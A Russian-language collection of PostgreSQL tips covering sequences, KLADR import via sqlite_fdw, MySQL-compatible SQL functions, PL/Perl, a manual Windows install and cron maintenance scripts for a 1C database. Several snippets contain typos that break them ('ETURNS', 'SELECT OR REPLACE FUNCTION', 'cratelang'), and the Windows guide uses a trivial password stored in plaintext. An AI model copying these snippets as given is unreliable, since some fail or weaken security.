    
     
    ----* Как автоматически генерировать возрастающие ключи   [обсудить]
     
    CREATE SEQUENCE next_item start 1 increment 1 maxvalue 2147483647 minvalue 1 cache 1;
    или CREATE SEQUENCE next_item;
    CREATE TABLE item (
    	"id"                integer DEFAULT nextval('next_item') PRIMARY KEY,
    	.....
    );
    
     
    ----* Как ограничить число элементов выдаваемых SELECT в PostgreSQL   [комментарии]
     
    Использовать директиву "LIMIT сколько_записей_выводить OFFSET с_какой_записи_начинать_вывод":
    Например, вывести 10 записей удовлетворяющих запросу, начиная с 50:
    SELECT * FROM table LIMIT 10 OFFSET 50;
    
     
    ----* Импорт КЛАДР в базу данных PostgreSQL   Автор: Легостаев Вениамин  [комментарии]
     
    Конвертация КЛАДР (классификатор адресов России) в формат sqlite.
    
    Скачиваем КЛАДР с официального сайта
    
        wget http://www.gnivc.ru/html/gnivcsoft/KLADR/Base.7z
    
    Устанавливаем архиватор 7z
    
        sudo yum install p7zip
    
    Распаковываем архив
    
        7za e Base.7z
    
    Устанавливаем sqlite
    
        sudo yum install sqlite
    
    Устанавливаем sqlite3-dbf
    
        sudo yum install sqlite3-dbf
    
    Запускаем sqlite3
    
        sqlite3 my_kladr.db
    
    В sqlite загружаем модуль libspatialite
    
        .load libspatialite.so.2
    
    Импорт данных из КЛАДР в sqlite
    
        CREATE VIRTUAL TABLE virt_street_tbl USING VirtualDbf('/home/developer/kladr/STREET.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_socrbase_tbl USING VirtualDbf('/home/developer/kladr/SOCRBASE.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_kladr_tbl USING VirtualDbf('/home/developer/kladr/KLADR.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_flat_tbl USING VirtualDbf('/home/developer/kladr/FLAT.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_doma_tbl USING VirtualDbf('/home/developer/kladr/DOMA.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_altnames_tbl USING VirtualDbf('/home/developer/kladr/ALTNAMES.DBF', 'CP866');
    
        create table street_tbl as select * from virt_street_tbl;
        create table socrbase_tbl as select * from virt_socrbase_tbl;
        create table kladr_tbl as select * from virt_kladr_tbl;
        create table flat_tbl as select * from virt_flat_tbl;
        create table doma_tbl as select * from virt_doma_tbl;
        create table altnames_tbl as select * from virt_altnames_tbl;
    
        drop table virt_street_tbl;
        drop table virt_socrbase_tbl;
        drop table virt_kladr_tbl;
        drop table virt_flat_tbl;
        drop table virt_doma_tbl;
        drop table virt_altnames_tbl;
    
    Выходим из sqlite
    
        .exit
    
    
    Результат: файл my_kladr.db содержит КЛАДР в формате sqlite.
    
    
    Подключение файла my_kladr.db к базе данных PostgreSQL
    
    Скачиваем модуль sqlite_fdw
    
        wget https://github.com/gleu/sqlite_fdw/archive/master.zip
     
    Устанавливаем unzip
    
        sudo yum install unzip
    
    Распаковываем архив
    
        unzip master
    
    Заходим в каталог sqlite_fdw-master
    
        cd sqlite_fdw-master
    
    Устанавливаем модуль
    
        sudo PATH=/usr/pgsql-9.3/bin/:$PATH make USE_PGXS=1 install
    
    Входим в систему из-под пользователя postgres
    
        sudo su - postgres
    
    Входим в postgresql
    
        psql
    
    Выбираем базу данных
    
        \\c YouDatabase
    
    Создаем расширение
    
        CREATE EXTENSION sqlite_fdw;
    
    Создаем сервер
    
        CREATE SERVER sqlite_kladr_server
        FOREIGN DATA WRAPPER sqlite_fdw
        OPTIONS (database 'path_to_my_kladr.db');
    
    Создаем схему
    
        create schema kladr;
    
    Создаем внешние таблицы
    
        CREATE FOREIGN TABLE kladr.street_tbl(
           id bigint,
           name varchar,
           type varchar,
           code varchar,
           c2 varchar,
           c3 varchar,
           c4 varchar,
           c5 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'street_tbl');
    
        CREATE FOREIGN TABLE kladr.socrbase_tbl(
           id bigint,
           id1 bigint,
           short_name varchar,
           full_name varchar,
           id3 bigint)
        SERVER sqlite_kladr_server
        OPTIONS (table 'socrbase_tbl');
    
        CREATE FOREIGN TABLE kladr.kladr_tbl(
           id bigint,
           name varchar,
           type varchar,
           code varchar,
           c4 varchar,
           c5 varchar,
           c6 varchar,
           c7 bigint)
        SERVER sqlite_kladr_server
        OPTIONS (table 'kladr_tbl');
    
        CREATE FOREIGN TABLE kladr.doma_tbl(
           id bigint,
           house varchar,
           c1 varchar,
           c2 varchar,
           c3 varchar,
           c4 varchar,
           c5 varchar,
           c6 varchar,
           c7 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'doma_tbl');
    
        CREATE FOREIGN TABLE kladr.altnames_tbl(
           id bigint,
           code1 varchar,
           code2 varchar,
           c1 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'altnames_tbl');
    
    Проверяем работу
    
        select * from kladr.kladr_tbl limit 10;
    
    Результат: Кладр подключен к базе данных PostgreSQL. 
    
     

       PlPerl и PlSQL

    ----* Реализация для PostgreSQL некоторых популярных функций из состава MySQL (доп. ссылка 1)   Автор: Pavel Stěhule  [комментарии]
     
    Реализация MySQL функции field для PostgreSQL, позволяющей организовать условную сортировку вывода:
    
       CREATE OR REPLACE FUNCTION field(text, variadic text[])
       RETURNS int AS $$
         SELECT i
            FROM generate_subscripts($2,1) g(i)
           WHERE $1 = $2[i]
           UNION ALL
           SELECT 0
           LIMIT 1
       $$ LANGUAGE sql STRICT;
    
    Результат использования:
    
       select * from pet order by field(species, 'cat', 'dog', 'bird');
    
       | name     | owner  | species | sex  | birthday   | death      |
    
       | Fluffy   | Harold | cat     | f    | 1993-02-04 | NULL       |
       | Claws    | Gwen   | cat     | m    | 1994-03-17 | NULL       |
       | Buffy    | Harold | dog     | f    | 1989-05-13 | NULL       |
       | Fang     | Benny  | dog     | m    | 1990-08-27 | NULL       |
       | Bowser   | Diane  | dog     | m    | 1989-08-31 | 1995-07-29 |
       | Chirpy   | Gwen   | bird    | f    | 1998-09-11 | NULL       |
       | Whistler | Gwen   | bird    | NULL | 1997-12-09 | NULL       |
    
    Результаты портирования некоторых строковых функций MySQL, которые можно
    использовать для упрощения
    переноса программ с MySQL на PostgreSQL:
    
    concat
    
       CREATE OR REPLACE FUNCTION concat(variadic str text[])
       RETURNS text AS $$
       SELECT array_to_string($1, '');
       $$ LANGUAGE sql
    
    concat_ws
    
       CREATE OR REPLACE FUNCTION concat_ws(separator text, variadic str text[])
       RETURNS text as $$
       SELECT array_to_string($2, $1);
       $$ LANGUAGE sql;
    
    elt
    
       CREATE OR REPLACE FUNCTION elt(int, VARIADIC text[])
       RETURNS text AS $$
       SELECT $2[$1];
       $$ LANGUAGE sql;
    
    find_in_set
    
       CREATE OR REPLACE FUNCTION find_in_set(str text, strlist text)
       RETURNS int AS $$
       SELECT i
          FROM generate_subscripts(string_to_array($2,','),1) g(i)
         WHERE (string_to_array($2, ','))[i] = $1
         UNION ALL
         SELECT 0
         LIMIT 1
       $$ LANGUAGE sql STRICT;
    
    hex
    
       CREATE OR REPLACE FUNCTION hex(int)
       RETURNS text AS $$
       SELECT upper(to_hex($1));
       $$ LANGUAGE sql;
      
       CREATE OR REPLACE FUNCTION hex(bigint)
       RETURNS text AS $$
       SELECT upper(to_hex($1));
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION hex(text)
       RETURNS text AS $$
       SELECT upper(encode($1::bytea, 'hex'))
       $$ LANGUAGE sql;
    
    char, напирмер: select "char"(77,121,83,81,'76');
    
       CREATE OR REPLACE FUNCTION "char"(VARIADIC int[])
       ETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT chr(unnest($1))),'')
       $$ LANGUAGE sql;
    
    lcase
    
       CREATE OR REPLACE FUNCTION lcase(str text)
       RETURNS text AS $$
       SELECT lower($1)
       $$ LANGUAGE sql;
    
    left 
    
       CREATE OR REPLACE FUNCTION left(str text, len int)
       RETURNS text AS $$
       SELECT substring($1 FROM 1 FOR $2)
       $$ LANGUAGE sql;
    
    locate 
    
       CREATE OR REPLACE FUNCTION locate(substr text, str text)
       RETURNS int AS $$
       SELECT position($1 in $2)
       $$ LANGUAGE sql;
    
    reverse
    
       CREATE OR REPLACE FUNCTION reverse(str text)
       RETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT substring($1 FROM i FOR 1)
                                    FROM generate_series(length($1),1,-1) g(i)),
                              '')
       $$ LANGUAGE sql;
    
    right
    
       CREATE OR REPLACE FUNCTION right(str text, len int)
       RETURNS text AS $$
       SELECT substring($1 FROM length($1) - $2 FOR $2)
       $$ LANGUAGE sql;
    
    space
    
       CREATE OR REPLACE FUNCTION space(n int)
       RETURNS text AS $$
       SELECT repeat(' ', $1)
       $$ LANGUAGE sql;
    
    strcmp
    
       CREATE OR REPLACE FUNCTION strcmp(text, text)
       RETURNS int AS $$
       SELECT CASE WHEN $1 < $2 THEN -1
       WHEN $1 > $2 THEN 1
       ELSE 0 END;
       $$ LANGUAGE sql;
    
    substring_index
    
       CREATE OR REPLACE FUNCTION substring_index(str text, delim text, count int)
       RETURNS text AS $$
       SELECT CASE WHEN $3 > 0 
       THEN array_to_string((string_to_array($1, $2))[1:$3], $2)
       ELSE array_to_string(ARRAY(SELECT unnest(string_to_array($1,$2))
                                 OFFSET array_upper(string_to_array($1,$2),1) + $3),
                         $2)
       END
       $$ LANGUAGE sql;
    
    ucase
    
       CREATE OR REPLACE FUNCTION ucase(str text)
       RETURNS text AS $$
       SELECT upper($1)
       $$ LANGUAGE sql;
    
       CREATE CAST (bytea AS text) WITHOUT FUNCTION AS ASSIGNMENT;
    
    unhex
    
       CREATE OR REPLACE FUNCTION unhex(text)
       RETURNS text AS $$
       SELECT decode($1, 'hex')::text;
       $$ LANGUAGE sql;
    
    
    Функции для работы с датой и временем:
    
    adddate, пример select adddate('2008-01-02','31 day');
    
       CREATE OR REPLACE FUNCTION adddate(date, interval)
       RETURNS date AS $$
       SELECT ($1 + $2)::date; $$
       LANGUAGE sql;
    
    curdate
    
       CREATE OR REPLACE FUNCTION curdate()
       RETURNS date AS $$
       SELECT CURRENT_DATE
       $$ LANGUAGE sql;
    
    convert_tz
    
       CREATE OR REPLACE FUNCTION convert_tz(dt timestamp, from_tz text, to_tz text)
       RETURNS timestamp AS $$
       SELECT ($1 AT TIME ZONE $2) AT TIME ZONE $3;
       $$ LANGUAGE sql;
    
    date
    
       CREATE OR REPLACE FUNCTION date(anyelement)
       RETURNS date AS $$
       SELECT $1::date;
       $$ LANGUAGE sql;
    
    datediff
    
       SELECT OR REPLACE FUNCTION datediff(date, date)
       RETURNS int AS $$
       SELECT $1 - $2
       $$ LANGUAGE sql;
    
    date_add
    
       CREATE OR REPLACE FUNCTION date_add(date, interval)
       RETURNS date AS $$
       SELECT adddate($1, $2)
       $$ LANGUAGE sql;
    
    date_format
    
       CREATE OR REPLACE FUNCTION date_format(date, text)
       RETURNS text AS $$
       SELECT to_char($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION date_format(timestamp, text)
       RETURNS text AS $$
       SELECT to_char($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
    date_sub
    
       CREATE OR REPLACE FUNCTION date_sub(date, interval)
       RETURNS date AS $$
       SELECT ($1 - $2)::date;
       $$ LANGUAGE sql;
    
    dayofmonth
    
       CREATE OR REPLACE FUNCTION dayofmonth(date)
       RETURNS int AS $$
       SELECT EXTRACT(day from $1)::int
       $$ LANGUAGE sql;
    
    day
    
       CREATE OR REPLACE FUNCTION day(date)
       RETURNS int AS $$
       SELECT dayofmonth($1)
       $$ LANGUAGE sql;
    
    dayname
    
       CREATE OR REPLACE FUNCTION dayname(date)
       RETURNS text AS $$
       SELECT to_char($1, 'TMDay')
       $$ LANGUAGE sql;
    
    dayofweek
    
       CREATE OR REPLACE FUNCTION dayofweek(date)
       RETURNS int AS $$
       SELECT EXTRACT(dow FROM $1)::int
       $$ LANGUAGE sql;
    
    dayofyear
    
       CREATE OR REPLACE FUNCTION dayofyear(date)
       RETURNS int AS $$
       SELECT EXTRACT(doy FROM $1)::int
       $$ LANGUAGE sql;
    
    from_days
    
       CREATE OR REPLACE FUNCTION from_days(int)
       RETURNS date AS $$
       SELECT date '0001-01-01bc' + $1
       $$ LANGUAGE sql;
    
    from_unixtime
    
       CREATE OR REPLACE FUNCTION from_unixtime(double precision)
       RETURNS timestamp AS $$
       SELECT to_timestamp($1)::timestamp
       $$ LANGUAGE sql;
    
    _mysqlf_pgsql
    
       CREATE OR REPLACE FUNCTION _mysqlf_pgsql(text)
       RETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT s
       FROM (SELECT CASE WHEN substring($1 FROM i FOR 1) <> '%'
       AND substring($1 FROM i-1 FOR 1) <> '%'
       THEN substring($1 FROM i for 1)
       ELSE CASE substring($1 FROM i FOR 2)
       WHEN '%H' THEN 'HH24'
       WHEN '%p' THEN 'am'
       WHEN '%Y' THEN 'YYYY'
       WHEN '%m' THEN 'MM'
       WHEN '%d' THEN 'DD'
       WHEN '%i' THEN 'MI'
       WHEN '%s' THEN 'SS'
       WHEN '%a' THEN 'Dy'
       WHEN '%b' THEN 'Mon'
       WHEN '%W' THEN 'Day'
       WHEN '%M' THEN 'Month'
       END
       END s
       FROM generate_series(1,length($1)) g(i)) g
       WHERE s IS NOT NULL),
       '')
       $$ LANGUAGE sql;
    
    get_format
    
       CREATE OR REPLACE FUNCTION get_format(text, text)
       RETURNS text AS $$
       SELECT CASE lower($1)
       WHEN 'date' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%m.%d.%Y'
       WHEN 'jis' THEN '%Y-%m-%d'
       WHEN 'iso' THEN '%Y-%m-%d'
       WHEN 'eur' THEN '%d.%m.%Y'
       WHEN 'internal' THEN '%Y%m%d'
       END
       WHEN 'datetime' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%Y-%m-%d %H-.%i.%s'
       WHEN 'jis' THEN '%Y-%m-%d %H:%i:%s'
       WHEN 'iso' THEN '%Y-%m-%d %H:%i:%s'
       WHEN 'eur' THEN '%Y-%m-%d %H.%i.%s'
       WHEN 'internal' THEN '%Y%m%d%H%i%s'
       END
       WHEN 'time' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%h:%i:%s %p'
       WHEN 'jis' THEN '%H:%i:%s'
       WHEN 'iso' THEN '%H:%i:%s'
       WHEN 'eur' THEN '%H.%i.%s'
       WHEN 'internal' THEN '%H%i%s'
       END
       END;
       $$ LANGUAGE sql;
    
    hour
    
       CREATE OR REPLACE FUNCTION hour(time)
       RETURNS int AS $$
       SELECT EXTRACT(hour FROM $1)::int;
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION hour(timestamp)
       RETURNS int AS $$
       SELECT EXTRACT(hour FROM $1)::int;
       $$ LANGUAGE sql;
    
    last_day
    
       CREATE OR REPLACE FUNCTION last_day(date)
       RETURNS date AS $$
       SELECT (date_trunc('month',$1 + interval '1 month'))::date - 1
       $$ LANGUAGE sql;
    
    makedate
    
       CREATE OR REPLACE FUNCTION makedate(year int, dayofyear int)
       RETURNS date AS $$
       SELECT (date '0001-01-01' + ($1 - 1) * interval '1 year' + ($2 - 1) * interval '1 day'):: date
       $$ LANGUAGE sql;
    
    maketime
    
       CREATE OR REPLACE FUNCTION maketime(int, int, double precision)
       RETURNS time AS $$
       SELECT time '00:00:00' + $1 * interval '1 hour' + $2 * interval '1 min'
       + $3 * interval '1 sec'
       $$ LANGUAGE sql;
    
    minute
    
       CREATE OR REPLACE FUNCTION minute(timestamp)
       RETURNS int AS $$
       SELECT EXTRACT(minute FROM $1)::int
       $$ LANGUAGE sql;
    
    month
    
       CREATE OR REPLACE FUNCTION month(date)
       RETURNS int AS $$
       SELECT EXTRACT(month FROM $1)::int
       $$ LANGUAGE sql;
    
    monthname
    
       CREATE OR REPLACE FUNCTION monthname(date)
       RETURNS text AS $$
       SELECT to_char($1, 'TMMonth')
       $$ LANGUAGE sql;
    
    str_to_date
    
       CREATE OR REPLACE FUNCTION str_to_date(text, text)
       RETURNS date AS $$
       SELECT to_date($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
    time
    
       CREATE OR REPLACE FUNCTION time(timestamp)
       RETURNS time AS $$
       SELECT $1::time
       $$ LANGUAGE sql;
    
    to_days
    
       CREATE OR REPLACE FUNCTION to_days(date)
       RETURNS int AS $$
       SELECT $1 - '0001-01-01bc'
       $$ LANGUAGE sql;
    
    unix_timestamp
    
       CREATE OR REPLACE FUNCTION unix_timestamp()
       RETURNS double precision AS $$
       SELECT EXTRACT(epoch FROM current_timestamp)
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION unix_timestamp(timestamp)
       RETURNS double precision AS $$
       SELECT EXTRACT(epoch FROM $1)
       $$ LANGUAGE sql;
    
    year
    
       CREATE OR REPLACE FUNCTION year(date)
       RETURNS int AS $$
       SELECT EXTRACT(year FROM $1)
       $$ LANGUAGE sql;
    
    week
    
       CREATE OR REPLACE FUNCTION week(date)
       RETURNS int AS $$
       SELECT EXTRACT(week FROM $1)::int;
       $$ LANGUAGE sql;
    
    
    Эмуляция работы GROUP_CONCAT в PostreSQL:
    
       select array_to_string(array_agg(x),',') from omega;
    
    Дополнительно можно обратить внимание на проект
    http://pgfoundry.org/projects/mysqlcompat/ , в рамках которого
    ведется работа по портированию для PostgreSQL некоторых MySQL функций.
    
     
    ----* Создание глобальных переменных в pl/perl процедурах в PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    CREATE OR REPLACE FUNCTION reset_counter() RETURNS INT AS $$
    $_SHARED{counter} = 0;
    return 0;
    $$ LANGUAGE plperl;
    
    CREATE OR REPLACE FUNCTION counter() RETURNS INT AS $$
    return $_SHARED{counter}++;
    $$ LANGUAGE plperl;
    
     
    ----* Как в PosgreSQL кешировать результат работы функции внутри запроса   [обсудить]
     
    CREATE FUNCTION ... LANGUAGE 'SQL' IMMUTABLE;
    Для старых версий: CREATE FUNCTION ... LANGUAGE 'SQL' WITH (ISCACHABLE); 
    
     
    ----* Pl/Perl для PostgreSQL   Автор: Yuri A. Kabaenkov  [обсудить]
     
    Функции написанные на pl/perl и даже pl/pgsql будут работать только в том
    случае если у вас установлен данный язык к вашей базе.
    Посмотреть какие языки установлены можно командой
    'select * from pg_language;`
    Обычно стоят только 
    С,SQL и internal(что такое объяснять не буду).
    Для установке pl/perl вам нужно выполнить  следующую команду.
    createlang plperl <dbname>
    Если же вы хотите чтоб pl/perl или pl/pgsql устанавливался автоматически на все
    создаваемые базы, то
    cratelang plperl template1
    
     
    ----* Как написать встроенную SQL функцию на Perl и экранировать одинарные кавычки   [комментарии]
     
    CREATE FUNCTION totalcomp(integer, integer) RETURNS integer
        AS '
        my $a = ''test''; # ''- Экранирование кавычки.
        return $_[0] + $_[1];
        '
    LANGUAGE 'plperl';
    
     
    ----* Как создать свою функцию для PostgreSQL.   [обсудить]
     
    CREATE FUNCTION login2contract(varchar)
       RETURNS int4               
       AS 'select contract_id from profile where login = $1'                             
       LANGUAGE 'SQL';
    CREATE FUNCTION time_minus_int(timestamp, integer)                         
       RETURNS timestamp                    
       AS 'select $1 - interval ($2) AS RESULT'                                           
       LANGUAGE 'SQL';
    
     

       Оптимизация и администрирование PostgreSQL

    ----* Отмена перехода на зимнее время в PostgreSQL   [комментарии]
     
    В PostgreSQL используется своя внутренняя таблица временных зон
    (postgresql-x.x.x/src/timezone), поэтому обновление системной базы zoneinfo не
    повлияет на перевод часов в PostgreSQL.
    
    Смотрим текущее состояние:
    
       SELECT * FROM pg_timezone_names;
    
       Europe/Moscow                    | MSK    | 03:00:00   | f
    
    Как видим часы перевелись и используется смещение +3 вместо +4.
    
       SELECT now();
       2011-11-01 11:00:19.834213+03
    
       SELECT now()-'6 days'::interval;
       2011-10-26 11:00:52.155833+04
    
    Копируем актуальные данные из обновлённой в системе базы часовых поясов. База
    часовых поясов в PostgreSQL может оказаться в /usr/local/share/pgsql/timezone,
    /usr/share/pgsql/timezone или /usr/local/pgsql/share/timezone/. Например:
    
       cp -f /usr/share/zoneinfo/Europe/Moscow /usr/share/pgsql/timezone/Europe/Moscow
     
    После этого "SELECT * FROM pg_timezone_names" отобразит изменения, но чтобы они
    подействовали обязательно требуется перезапустить PostgreSQL.
    
    Для изменения часового пояса для конкретной БД можно использовать конструкцию:
    
       ALTER DATABASE mydb SET timezone TO 'Asia/Yekaterinburg';
    
    Из других подводных камней, которые обнаружились при отмене перехода на зимнее
    время можно упомянуть забытое обновление /etc/localtime в chroot-окружениях и
    необходимость перезапуска демона cron.
    
     
    ----* Установка PostgreSQL под Windows вручную   Автор: Аноним  [комментарии]
     
    Задача: установить PostgreSQL в Windows без использования инсталлятора.
    
    1. Распаковываем архив c бинарниками (можно взять из готовой установки или с
    сайта http://www.enterprisedb.com/products-services-training/pgbindownload ) в C:\PostgreSQL
    
    2. Создаём каталог C:\PostgreSQL\data - там будут лежать данные базы
    
    3. Создаем пользователя postgres с паролем pwd. В командной строке вводим:
    
       net user postgres pwd /add
    
    4. Устанавливаем ему неограниченный срок действия пароля:
    
       WMIC UserAccount WHERE Name="postgres" Set PasswordExpires=FALSE
    
    5. Даем право входа в качестве службы утилитой ntrights из Windows Resource Kit Tools:
    
       ntrights +r SeServiceLogonRight -u postgres
    
    6. Даем все права на каталог C:\PostgreSQL:
    
       cacls C:\PostgreSQL /E /G postgres:F
    
    7. Создаем в C:\PostgreSQL\bin текстовый файл с именем pf, содержащий пароль pwd
    
    8. В C:\PostgreSQL\bin выполняем команду по инициализации базы:
    
       initdb -U postgres --pwfile=pf -A md5 -E UTF8 --locale=Russian_Russia -D C:\PostgreSQL\data
    
    9. Регистрируем сервис:
    
       pg_ctl register -N PostgreSQL -U postgres -P pwd -D C:\PostgreSQL\data -S auto
    
    10. Запускаем службу:
    
       sc start PostgreSQL
    
    Для удобства прописываем путь к бинарным файлам PostgreSQL в PATH:
    
       pathman /as c:\PostgreSQL\bin
    
     
    ----* Опыт обслуживания базы 1С в PostgreSQL (доп. ссылка 1)   Автор: sashacd  [комментарии]
     
    Знакомство с СУБД PostgreSQL было определено выходом версии платформы
    "1С:Предприятие 8.1", в которой была реализована поддержка СУБД PostgreSQL. Но
    все встречи с PostgreSQL проходили на резервном сервере (с ОС Linux), где
    методом тестового использования решался вопрос об использовании PostgreSQL в
    качестве СУБД для рабочей базы 1С. В это время на основном сервере (с ОС Linux)
    база 1С работала в файл-серверном режиме.
    
    До поры до времени шел процесс перехода со старой системы на 1С - нормативно
    справочная информация была перенесена заранее, а в это время переносились
    текущие остатки. Количество пользователей (менее 10) и размер файла базы 1С
    (менее 3Gb) позволяли работать в файл-серверном режиме.
    
    Шло время. Пользователи по мере внедрения переводились из старой системы в 1С.
    Количество пользователей росло. Размер файла базы данных тоже увеличивался в
    размере. Настало время подключать к базе 1С удаленных пользователей в
    терминальном режиме (FreeNX). Количество лицензий опять пришлось увеличить.
    Хорошо, что получилось поменять один ключ на ключ с большим количеством
    пользовательских лицензий и количество компьютеров для менеджера лицензий не увеличилось.
    
    И тут произошло самое скучное - размер базы данных 1С вырос до неприличных
    размеров. Все вместе, количество одновременно работающих в 1С пользователей
    более 10 и размер файла базы данных 1С более 4Gb, стало очень негативно
    сказываться на производительности работы пользователей в 1С.
    
    Настало время серьезного знакомства с возможностью размещения базы 1С в СУБД
    PostgreSQL. Пользуясь знакомством с СУБД PostgreSQL, переезд на SQL-версию
    размещения данных 1С прошел быстро и без жертв (сервер с ОС Linux).
    
    Время шло. Размер системного каталога PostgreSQL с базой 1C достиг размера
    35Gb. Размер dt-файла выгрузки базы 1С стал где-то около 1.2Gb, а развернутая
    база на его основе 16Gb. Пришло время придумать что-то еще для обеспечения
    производительной работы пользователей в 1С. Пользуясь документацией PostgreSQL,
    которая идет в комплекте с СУБД, оформилось две команды по обслуживанию базы
    "baza1c_81" в PostgreSQL. Эти команды выполняют сбор мусора, выполнение сбора
    статистики о базе данных для работы планировщика запросов, переиндексацию:
    
       VACUUM FULL VERBOSE ANALYZE;
       REINDEX DATABASE baza1c_81 FORCE;
    
    (Хотя с FULL в первой команде лучше для себя определиться еще раз
    самостоятельно, http://wiki.PostgreSQL.org/wiki/VACUUM_FULL и в документации
    PostgreSQL см. VACUUM).
    
    Далее дело техники. Определили время запуска. В воскресенье с 17-00 до
    понедельника 6-00 в базе никого не бывает. В cron отключаем ночное
    архивирование базы в это время (а архивировать лучше как средствами 1С, так и pgdump).
    
    
    Первым шагом в cron добавляем строку для создания архива:
    Запускаем crontab -e:
    
       0 17 * * 0 /var/lib/pgsql/backups/pgdump.sh
    
       :wq
    
    , где 0-мин, 17-час, *-день, *-месяц, 0-(день недели воскресенье);
    
    Вторым шагом добавляем в cron строку выполнения первой команды :
    
       0 18 * * 0 /var/lib/pgsql/backups/vacuum.sh
    
    , учтем 30 минут на работу pgdump.sh по созданию архива;
    
    В vacuum.sh делаем стоп-старт сервера предприятия 1C, PostgreSQL, менеджера лицензий и VACUUM :
    
       #!/bin/sh
       # reindex BD
       PIDEL=`pidof Xvfb`
       if [ ! "$PIDEL" = "" ]; then
          ##иногда выгрузка из 1С в WINE зависает
          kill -9 $PIDEL
       fi
       # stop 1c-server
       /bin/sh /etc/rc.d/rc.1c stop
       #kill all running session nx
       /bin/sh /etc/NX/bin/nxserver --cleanup
       sleep 150
       #перешли на stop start
       /bin/sh /etc/NX/bin/nxserver --stop
       /bin/sh /etc/rc.d/rc.sshd stop
       rm /tmp/.nX*
       rm /tmp/.X*
       rm /tmp/.X11-unix/X29 ## следы от запуска Xvfb
       #--------------
       /bin/killall nxserver
       /bin/killall nxnode
       /bin/killall nxagent
       #
       sleep 150
       /bin/sh /etc/rc.d/rc.sshd start
       /bin/sh /etc/NX/bin/nxserver --start
       #--------------
       # start 1c-server
       sleep 150
       /bin/sh /etc/rc.d/rc.1c start
       sleep 150
       su postgres -c /var/lib/pgsql/backups/vacuumdb.sh
    
    В vacuumdb.sh :
    
       #!/bin/sh
       psql -a -f /var/lib/pgsql/backups/vacuum.sql
    
    В vacuum.sql :
    
       VACUUM FULL VERBOSE ANALYZE;
    
    Команда по факту работает от 6 до 8 часов.
    
    Вторым шагом добавляем в cron строку выполнения второй команды:
    
       30 3 * * 1 /var/lib/pgsql/backups/reindex.sh
    
    ,учтем время на работу vacuum.sh;
    
    В reindex.sh все тоже, что и в vacuum.sh, за исключением одной строчки. Вместо
    su postgres -c /var/lib/pgsql/backups/vacuumdb.sh напишем su postgres -c /var/lib/pgsql/backups/reindexdb.sh.
    
    
    В reindexdb.sh :
    
       #!/bin/sh
       psql -a -f /var/lib/pgsql/backups/reindex.sql
    
    В reindex.sql :
    
       REINDEX DATABASE baza1c_81 FORCE;
    
    И в каждый понедельник база готова к эффективной работе.
    
    А время идет. Подумываем об использовании SSD-дисков для размещения WAL.
    
    PS. Если начинаете править postgresql.conf, тогда после изменений убедитесь в
    успешном старте PostgreSQL c новым postgresql.conf.  Также необходимо убедиться
    в успешном создании архивной копии, лучше всего восстановив базу на резервном
    сервере из архивной копии.
    
    PPS. Расчет себестоимости.... иногда этот расчет начинает очень сильно
    задумываться о чем-то своем. Так вот, в этом случае можно попробовать отключить
    в конфигурационном файле PostgreSQL autovacuum, выполнить стоп-старт "Менеджер
    лицензий-Сервер предприятия-PostgreSQL". После расчета себестоимости в
    конфигурационном файле вернуть все назад, стоп-старт. Оценить время расчета и
    сделать вывод о необходимости повтора этих действий.
    
    PPPS. Больная тема - остановка менеджера лицензий. И точнее всего эта остановка
    прикладывается в пятницу, вечером. Это когда подходит время в цехе запустить 1С
    и добавить в систему отчет производства за смену, или на складе готовой
    продукции идет отгрузка во вторую смену. В другие дни решить эту проблему
    помогает удаленный доступ, но в пятницу....
    
    Для спокойного выполнения пятничных планов делаем маленькое дополнение в cron,
    а именно добавляем следующую строку :
    
       0,5,10,15,20,25,30,35,40,45,50,55 * * * * /var/lib/pgsql/backups/hasp.restore
    
    В hasp.restore запишем :
    
       #!/bin/sh
       FLAG=$(ps -A | grep hasplm | wc -l)
       CUR_DATE=20$(date +%y).$(date +%m).$(date +%d)-$(date +%H)$(date +%M)$(date +%S):
       if [ $FLAG -eq 2 ]
       then
          echo "$CUR_DATE hasplm running" >> /var/log/hasp.restore.log
       else
          #echo "false"
          hasplm &
          echo "$CUR_DATE RESTORE hasplm" >> /var/log/hasp.restore.log
       fi
    
    И после выполнения crontab -e, с необходимым интервалом будет происходить
    проверка работы менеджера лицензий и запуск его в случае необходимости.
    
    Еще добавим в каталоге logrotate.d в файле syslog два файла для logrotate
    (автоматическая архивация log-файлов)
    
       /var/mail/root /var/log/hasp.restore.log
    
    А потом в свободное время смотрим tcpdump (или еще как то), вычисляем с какого
    адреса забивают наш менеджер лицензий. А там тоже может стоять менеджер
    лицензий, и даже совсем не 1С. Если находим такой адрес, добавляем правило в
    iptables не оставляя ему шансов присылать нам эти приветы.
    
     
    ----* Отмена запущенных запросов в PostgreSQL (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Для отмены запущенных длительных запросов в PostgreSQL можно воспользоваться
    системными SP. Например, отменить множественные INSERT или множество
    продолжительных запросов:
    
       SELECT pg_cancel_backend(procpid) as x FROM pg_stat_activity WHERE current_query like 'INSERT%';
    
    Если запрос инициирован из интерфейса pgsql, то завершени работы pgsql не
    поможет - запрос все равно продолжит свое выполнение, необходимо именно
    вызывать pg_cancel_backend.
    
     
    ----* Восстановление PostgreSQL после повреждения файлов XLOG (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Бывают случаи, когда файлы журнала транзакций (pg_xlog) могут быть повреждены
    или случайно удалены.
